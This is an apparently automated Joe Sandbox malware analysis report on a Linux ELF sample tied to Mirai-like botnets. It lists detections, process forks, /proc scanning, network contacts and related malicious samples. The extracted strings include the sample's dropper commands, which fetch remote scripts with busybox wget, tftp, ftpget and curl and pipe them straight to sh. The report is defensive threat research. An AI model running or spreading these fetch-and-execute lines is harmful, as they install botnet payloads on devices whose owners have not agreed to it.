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Linux Analysis Report
pjyhwsdgkl.elf

Overview

General Information

Sample name:	pjyhwsdgkl.elf
Analysis ID:	1563945
MD5:	928e05cd2c19dfc6ce9be8983c44448f
SHA1:	26d37b6b5f77f5fb519c36120c1bc19803107358
SHA256:	7b4c6e386779ad643d491f63b87464906c2980bd818882c54340314eaf98231f
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Sample reads /proc/mounts (often used for finding a writable filesystem)

Uses STUN server to do NAT traversial

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563945
Start date and time:	2024-11-27 16:45:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	pjyhwsdgkl.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/120@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: pjyhwsdgkl.elf

Runtime Messages

Command:	/tmp/pjyhwsdgkl.elf
PID:	5525
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	snow slide
Standard Error:

Process Tree

system is lnxubuntu20

pjyhwsdgkl.elf (PID: 5525, Parent: 5450, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/pjyhwsdgkl.elf

pjyhwsdgkl.elf New Fork (PID: 5527, Parent: 5525)

pjyhwsdgkl.elf New Fork (PID: 5538, Parent: 5527)

pjyhwsdgkl.elf New Fork (PID: 5541, Parent: 5527)

pjyhwsdgkl.elf New Fork (PID: 5560, Parent: 5527)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: pjyhwsdgkl.elf

ReversingLabs: Detection: 42%

Source: pjyhwsdgkl.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shbusybox cat /proc/self/cmdline/bin/busybox echo > .b && sh .b && cd /bin/busybox wget http:///telnet.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh; curl http:///curl.sh -o- | shbusybox chmod 777 udhcpd; ./udhcpd; ./dvrEncoder telnet/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4busyboxcat

Source: global traffic	TCP traffic: 192.168.2.15:48984 -> 77.232.39.3:8001
Source: global traffic	UDP traffic: 192.168.2.15:34613 -> 74.125.250.129:19302

Source: unknown	TCP traffic detected without corresponding DNS query: 211.38.135.65
Source: unknown	TCP traffic detected without corresponding DNS query: 148.213.235.250
Source: unknown	TCP traffic detected without corresponding DNS query: 16.107.186.43
Source: unknown	TCP traffic detected without corresponding DNS query: 119.13.192.233
Source: unknown	TCP traffic detected without corresponding DNS query: 167.77.83.229
Source: unknown	TCP traffic detected without corresponding DNS query: 167.226.226.37
Source: unknown	TCP traffic detected without corresponding DNS query: 187.62.126.196
Source: unknown	TCP traffic detected without corresponding DNS query: 30.151.215.169
Source: unknown	TCP traffic detected without corresponding DNS query: 132.118.176.234
Source: unknown	TCP traffic detected without corresponding DNS query: 26.79.149.53
Source: unknown	TCP traffic detected without corresponding DNS query: 6.58.9.171
Source: unknown	TCP traffic detected without corresponding DNS query: 204.98.109.208
Source: unknown	TCP traffic detected without corresponding DNS query: 43.133.135.43
Source: unknown	TCP traffic detected without corresponding DNS query: 129.156.133.219
Source: unknown	TCP traffic detected without corresponding DNS query: 212.158.143.117
Source: unknown	TCP traffic detected without corresponding DNS query: 6.250.255.114
Source: unknown	TCP traffic detected without corresponding DNS query: 125.129.254.36
Source: unknown	TCP traffic detected without corresponding DNS query: 216.127.118.161
Source: unknown	TCP traffic detected without corresponding DNS query: 156.159.14.25
Source: unknown	TCP traffic detected without corresponding DNS query: 120.56.114.254
Source: unknown	TCP traffic detected without corresponding DNS query: 75.161.151.136
Source: unknown	TCP traffic detected without corresponding DNS query: 180.117.148.148
Source: unknown	TCP traffic detected without corresponding DNS query: 212.104.246.141
Source: unknown	TCP traffic detected without corresponding DNS query: 220.137.125.18
Source: unknown	TCP traffic detected without corresponding DNS query: 156.220.14.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.129.123.74
Source: unknown	TCP traffic detected without corresponding DNS query: 200.209.112.221
Source: unknown	TCP traffic detected without corresponding DNS query: 159.171.203.114
Source: unknown	TCP traffic detected without corresponding DNS query: 194.215.141.242
Source: unknown	TCP traffic detected without corresponding DNS query: 55.164.160.224
Source: unknown	TCP traffic detected without corresponding DNS query: 126.224.180.6
Source: unknown	TCP traffic detected without corresponding DNS query: 125.224.156.4
Source: unknown	TCP traffic detected without corresponding DNS query: 42.194.131.124
Source: unknown	TCP traffic detected without corresponding DNS query: 170.126.191.9
Source: unknown	TCP traffic detected without corresponding DNS query: 12.91.141.63
Source: unknown	TCP traffic detected without corresponding DNS query: 191.178.8.80
Source: unknown	TCP traffic detected without corresponding DNS query: 132.65.188.66
Source: unknown	TCP traffic detected without corresponding DNS query: 140.18.217.53
Source: unknown	TCP traffic detected without corresponding DNS query: 196.236.179.184
Source: unknown	TCP traffic detected without corresponding DNS query: 36.4.66.76
Source: unknown	TCP traffic detected without corresponding DNS query: 184.246.216.30
Source: unknown	TCP traffic detected without corresponding DNS query: 66.252.101.57
Source: unknown	TCP traffic detected without corresponding DNS query: 94.125.154.206
Source: unknown	TCP traffic detected without corresponding DNS query: 56.112.122.250
Source: unknown	TCP traffic detected without corresponding DNS query: 154.149.74.8
Source: unknown	TCP traffic detected without corresponding DNS query: 152.180.32.55
Source: unknown	TCP traffic detected without corresponding DNS query: 37.60.238.244
Source: unknown	TCP traffic detected without corresponding DNS query: 211.38.135.65
Source: unknown	TCP traffic detected without corresponding DNS query: 190.89.4.91
Source: unknown	TCP traffic detected without corresponding DNS query: 99.111.206.15

Source: pjyhwsdgkl.elf	String found in binary or memory: http:///curl.sh
Source: pjyhwsdgkl.elf	String found in binary or memory: http:///telnet.sh

Source: Initial sample	String containing 'busybox' found: busybox cat /proc/self/cmdline
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /telnet.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: busybox chmod 777 udhcpd; ./udhcpd; ./dvrEncoder telnet
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shbusybox cat /proc/self/cmdline/bin/busybox echo > .b && sh .b && cd /bin/busybox wget http:///telnet.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh; curl http:///curl.sh -o- \| shbusybox chmod 777 udhcpd; ./udhcpd; ./dvrEncoder telnet/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4busyboxcat

Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/804/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/3407/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/1484/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/133/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/1479/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/931/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/1595/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/812/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/933/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/3419/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/262/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/142/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/263/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/264/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/265/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/145/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/266/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/267/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/268/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/3303/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/269/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/1486/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/1806/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/3440/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/270/cmdline	Jump to behavior
Source: /tmp/pjyhwsdgkl.elf (PID: 5541)	File opened: /proc/271/cmdline	Jump to behavior

Source: pjyhwsdgkl.elf, 5525.1.000056223aadc000.000056223ab63000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: pjyhwsdgkl.elf, 5525.1.00007fffcd177000.00007fffcd198000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: pjyhwsdgkl.elf, 5525.1.000056223aadc000.000056223ab63000.rw-.sdmp	Binary or memory string: :"V!/etc/qemu-binfmt/mips
Source: pjyhwsdgkl.elf, 5525.1.00007fffcd177000.00007fffcd198000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/pjyhwsdgkl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/pjyhwsdgkl.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	Source	Malicious	Antivirus Detection	Reputation
http:///telnet.sh	pjyhwsdgkl.elf	false	Avira URL Cloud: safe	unknown
http:///curl.sh	pjyhwsdgkl.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
133.23.203.92	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
71.246.97.106	unknown	United States	701	UUNETUS	false
173.119.157.82	unknown	United States	10507	SPCSUS	false
120.176.247.83	unknown	Indonesia	4761	INDOSAT-INP-APINDOSATInternetNetworkProviderID	false
213.155.217.249	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
166.15.251.154	unknown	Switzerland	11798	ACEDATACENTERS-AS-1US	false
208.141.151.2	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
40.235.32.239	unknown	United States	4249	LILLY-ASUS	false
101.178.1.89	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
98.189.136.53	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
74.242.85.169	unknown	United States	19108	SUDDENLINK-COMMUNICATIONSUS	false
155.194.167.177	unknown	Canada	8698	NationwideBuildingSocietyGB	false
179.23.193.235	unknown	Venezuela	26615	TIMSABR	false
6.138.140.81	unknown	United States	3356	LEVEL3US	false
96.181.182.26	unknown	United States	7922	COMCAST-7922US	false
68.64.187.167	unknown	United States	17139	NETRANGEUS	false
113.90.226.125	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
73.142.95.249	unknown	United States	7922	COMCAST-7922US	false
124.134.66.155	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
136.153.132.123	unknown	Australia	132909	ACTGOV-AS-APACTGovernmentInTACTGroupAU	false
89.12.194.43	unknown	Germany	6805	TDDE-ASN1DE	false
77.116.147.219	unknown	Austria	25255	H3G-AUSTRIA-ASTELE2AUSTRIAAT	false
196.193.136.179	unknown	South Africa	23889	MauritiusTelecomMU	false
8.65.69.224	unknown	United States	3356	LEVEL3US	false
48.210.5.218	unknown	United States	2686	ATGS-MMD-ASUS	false
137.133.175.100	unknown	Norway	2116	ASN-CATCHCOMNO	false
40.115.252.58	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
51.116.240.198	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
66.94.122.244	unknown	United States	394513	AWESOMENET-CORPUS	false
7.193.19.238	unknown	United States	3356	LEVEL3US	false
16.254.216.254	unknown	United States	unknown	unknown	false
22.148.0.145	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
47.25.215.1	unknown	United States	20115	CHARTER-20115US	false
119.7.58.229	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
43.205.106.37	unknown	Japan	4249	LILLY-ASUS	false
74.190.67.152	unknown	United States	7018	ATT-INTERNET4US	false
194.192.170.27	unknown	Denmark	3292	TDCTDCASDK	false
166.254.147.234	unknown	United States	22394	CELLCOUS	false
155.63.33.21	unknown	United States	32908	TRIMBL-NUMUS	false
102.81.236.162	unknown	Uganda	37075	ZAINUGASUG	false
69.96.215.127	unknown	United States	4261	BLUEGRASSNETUS	false
48.108.207.102	unknown	United States	2686	ATGS-MMD-ASUS	false
165.209.152.95	unknown	Thailand	2381	WISCNET1-ASUS	false
217.229.206.154	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
197.135.1.251	unknown	Egypt	24835	RAYA-ASEG	false
74.218.17.92	unknown	United States	10796	TWC-10796-MIDWESTUS	false
116.160.118.237	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
32.124.85.235	unknown	United States	7018	ATT-INTERNET4US	false
21.76.21.124	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
46.38.27.252	unknown	Russian Federation	49301	TRANSTELECOM-DVKhabarovskRussiaRU	false
94.203.119.187	unknown	United Arab Emirates	15802	DU-AS1AE	false
82.207.56.93	unknown	Ukraine	6849	UKRTELNETUA	false
70.163.73.108	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
168.93.111.19	unknown	United States	16399	FIRSTCOMM-AS2US	false
209.136.135.31	unknown	United States	3549	LVLT-3549US	false
123.85.131.239	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
38.170.183.23	unknown	United States	174	COGENT-174US	false
102.134.216.155	unknown	South Africa	328114	Comsol-Networks-ASZA	false
24.49.11.20	unknown	United States	4922	SHENTELUS	false
217.3.147.138	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
191.3.3.244	unknown	Brazil	7738	TelemarNorteLesteSABR	false
3.200.167.120	unknown	United States	16509	AMAZON-02US	false
145.57.114.164	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
111.91.208.82	unknown	China	23576	NHN-AS-KRNBPKR	false
178.93.212.100	unknown	Ukraine	6849	UKRTELNETUA	false
195.246.221.92	unknown	Italy	15746	ASN-MERCURIO72IT	false
82.209.57.49	unknown	Czech Republic	30764	PODA-ASCZ	false
182.189.144.46	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
119.233.52.160	unknown	China	9790	VOCUSGROUPNZVocusGroupNZ	false
102.101.219.195	unknown	Morocco	36925	ASMediMA	false
79.109.205.233	unknown	Spain	12357	COMUNITELSPAINES	false
39.158.68.38	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
133.8.114.45	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
42.231.161.146	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
188.213.190.220	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
192.46.45.143	unknown	United States	5501	FRAUNHOFER-CLUSTER-BWResearchInstitutesspreadalloverGe	false
93.141.87.181	unknown	Croatia (LOCAL Name: Hrvatska)	5391	T-HTCroatianTelecomIncHR	false
38.161.119.23	unknown	United States	174	COGENT-174US	false
26.126.77.243	unknown	United States	7922	COMCAST-7922US	false
169.255.73.220	unknown	Congo	327829	SKYTIC-TELECOMCG	false
82.155.126.196	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
124.2.216.65	unknown	Korea Republic of	18302	SKG_NW-AS-KRSKTelecomKR	false
37.208.106.100	unknown	Germany	58010	UVENSYSDE	false
132.232.231.85	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
178.213.22.83	unknown	Russian Federation	59508	KL-NETRU	false
38.216.7.11	unknown	United States	174	COGENT-174US	false
170.238.223.191	unknown	Mexico	265251	SONICTELECOMUNICACOESLTDAMEBR	false
22.50.244.24	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
46.21.53.48	unknown	Cyprus	16229	PRIMETELTelecommunicationsCompanyCY	false
209.198.166.236	unknown	United States	8166	PRISMNETUS	false
196.27.3.136	unknown	United States	8376	JordanDataCommunicationsJO	false
104.240.151.185	unknown	United States	5650	FRONTIER-FRTRUS	false
167.189.189.215	unknown	China	15071	BAX-BGPUS	false
16.166.35.50	unknown	United States	unknown	unknown	false
121.38.42.247	unknown	China	55990	HWCSNETHuaweiCloudServicedatacenterCN	false
80.147.85.221	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
138.101.146.163	unknown	Japan	9593	NIKKEINikkeiIncJP	false
120.237.147.37	unknown	China	56040	CMNET-GUANGDONG-APChinaMobilecommunicationscorporation	false
17.132.116.113	unknown	United States	714	APPLE-ENGINEERINGUS	false
156.2.60.196	unknown	United States	29975	VODACOM-ZA	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SINET-ASResearchOrganizationofInformationandSystemsN	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	133.17.15.218
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	202.250.212.159
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	150.99.146.155
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	133.96.115.234
	nabppc.elf	Get hash	malicious	Unknown	Browse	210.151.88.146
	nabmips.elf	Get hash	malicious	Unknown	Browse	157.105.170.20
	splsh4.elf	Get hash	malicious	Unknown	Browse	160.247.79.35
	splm68k.elf	Get hash	malicious	Unknown	Browse	150.84.210.17
	splx86.elf	Get hash	malicious	Unknown	Browse	150.99.52.59
	arm.elf	Get hash	malicious	Unknown	Browse	158.209.36.197
SPCSUS	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	99.200.206.144
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	173.134.22.141
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	70.8.5.171
